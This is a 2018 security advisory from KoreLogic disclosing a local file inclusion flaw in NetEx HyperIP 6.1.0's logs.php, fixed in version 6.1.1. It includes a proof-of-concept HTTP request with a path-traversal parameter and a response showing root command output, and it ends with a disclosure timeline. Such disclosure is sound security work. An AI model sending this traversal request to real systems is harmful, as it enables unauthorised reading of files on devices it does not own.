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Security Advisory

NetEx HyperIP Local File Inclusion Vulnerability

Advisory ID
KL-001-2018-005
Published
2018-02-08
Vendor
NetEx

Affected Systems

Product
HyperIP
Version
6.1.0
Platform
Embedded Linux

Discovered By

Matt Bergin (KoreLogic)
Download (signed .txt)
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Vulnerability Details

Affected Vendor: NetEx
Affected Product: HyperIP
Affected Version: 6.1.0
Platform: Embedded Linux
CWE Classification: CWE-73: External Control of File Name or Path
Impact: Arbitrary Filesystem Reads
Attack Vector: HTTPS

Vulnerability Description

Local files can be included within the HTTP response given by logs.php

Technical Description

Any arbitrary file, such as the one created in KL-001-2018-004, can be returned by the logs.php script.

  GET /logs.php?system=../../tmp/a.output&submit=Show+System+Log HTTP/1.1
  Host: 1.3.3.7
  Accept-Language: en-US,en;q=0.5
  DNT: 1
  Connection: close
  Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK Date: Mon, 27 Mar 2017 13:07:51 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By:
PHP/5.1.6 Content-Length: 502 Connection: close Content-Type: text/html; charset=UTF-8

<html>
  <head>
    <meta http-equiv="Expires" content="0" />
    <link rel="stylesheet" href="bdstyles.css" type="text/css" />
  </head>
  <body class="dsp">
    <h1>Show System Log <font size="2">[ Monday @ 08:07:51 ]</font></h1>
    <pre>
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
  </pre
    >
  </body>
</html>

Mitigation and Remediation Recommendation

The vendor has released version 6.1.1 of HyperIP, which they state addresses this vulnerability.

Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc.

Proof of Concept

See 3. Technical Description.

The contents of this advisory are copyright(c) 2018 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt

Disclosure Timeline

KoreLogic submits vulnerability details to NetEx.

NetEx confirms receipt.

NetEx informs KoreLogic that this and other reported vulnerabilities have been addressed in the forthcoming release. ETA as of yet undetermined.

30 business days have elapsed since the vulnerability was reported to NetEx.

NetEx informs KoreLogic that the forthcoming release 6.1.1 is expected to ship at the end of January 2018.

45 business days have elapsed since the vulnerability was reported to NetEx.

90 business days have elapsed since the vulnerability was reported to NetEx.

120 business days have elapsed since the vulnerability was reported to NetEx.

NetEx notifies KoreLogic that the HyperIP 6.1.1 release has gone live.

KoreLogic public disclosure.

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Responsible Disclosure

KoreLogic follows responsible disclosure practices. All vulnerabilities are reported to affected vendors with appropriate time for remediation before public disclosure.

Vendor notification and coordination
90+ day disclosure timeline
CVE coordination when applicable

Resources & Downloads

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